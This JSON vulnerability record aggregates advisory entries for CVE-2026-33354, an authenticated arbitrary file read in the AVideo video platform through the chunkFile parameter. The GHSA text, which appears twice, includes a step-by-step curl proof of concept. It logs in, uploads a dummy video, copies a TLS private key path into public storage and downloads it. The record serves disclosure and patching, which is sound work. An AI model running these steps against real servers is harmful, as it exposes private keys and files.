{"id":"CVE-2026-33354","aliases":["EUVD-2026-20076","GHSA-4jw9-5hrc-m4j6"],"status":"published","title":"AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.","severity":{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00264,"percentile":0.18524,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-73"],"published":"2026-03-19T19:34:06Z","modified":"2026-11-11T10:30:27Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33354","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4jw9-5hrc-m4j6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33354.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33354","title":"AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.","status":"published","published":"2026-03-23T13:58:13.712Z","modified":"2026-03-25T14:13:08.253Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-20076","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.","status":"published","published":"2026-03-23T13:58:13Z","modified":"2026-03-25T14:13:08Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T19:25:29.129467Z"}],"ghsa":[{"id":"GHSA-4jw9-5hrc-m4j6","title":"AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`","description":"## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=\u003cown video\u003e`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker's own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos/\u003cfilename\u003e/\u003cfilename\u003e.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n  -d 'user=attacker\u0026pass=UserPass123!' \\\n  http://127.0.0.1/objects/login.json.php \u003e/dev/null\n\n# 2. Create an attacker-owned video\nprintf 'x' \u003e poc.mp4\ncurl -s -b attacker.cookies \\\n  -F 'upl=@poc.mp4;type=video/mp4' \\\n  http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker's public video path\ncurl -s -b attacker.cookies \\\n  -d 'videos_id=4\u0026format=mp4\u0026title=poc\u0026description=test\u0026chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \\\n  http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```","status":"published","published":"2026-03-19T19:34:06Z","modified":"2026-03-25T18:49:20Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33354","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.","status":"published","published":"2026-03-23T15:16:33.897Z","modified":"2026-06-17T10:37:22.047Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33354","title":"AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.","status":"published","published":"2026-03-23T13:58:13.712Z","modified":"2026-11-11T10:30:27.601822876Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-11T11:06:44.221111Z"},{"id":"GHSA-4jw9-5hrc-m4j6","title":"AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`","description":"## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=\u003cown video\u003e`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker's own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos/\u003cfilename\u003e/\u003cfilename\u003e.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n  -d 'user=attacker\u0026pass=UserPass123!' \\\n  http://127.0.0.1/objects/login.json.php \u003e/dev/null\n\n# 2. Create an attacker-owned video\nprintf 'x' \u003e poc.mp4\ncurl -s -b attacker.cookies \\\n  -F 'upl=@poc.mp4;type=video/mp4' \\\n  http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker's public video path\ncurl -s -b attacker.cookies \\\n  -d 'videos_id=4\u0026format=mp4\u0026title=poc\u0026description=test\u0026chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \\\n  http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```","status":"published","published":"2026-03-19T19:34:06Z","modified":"2026-03-25T19:48:02.662142Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:46:37.148947Z"}]}}
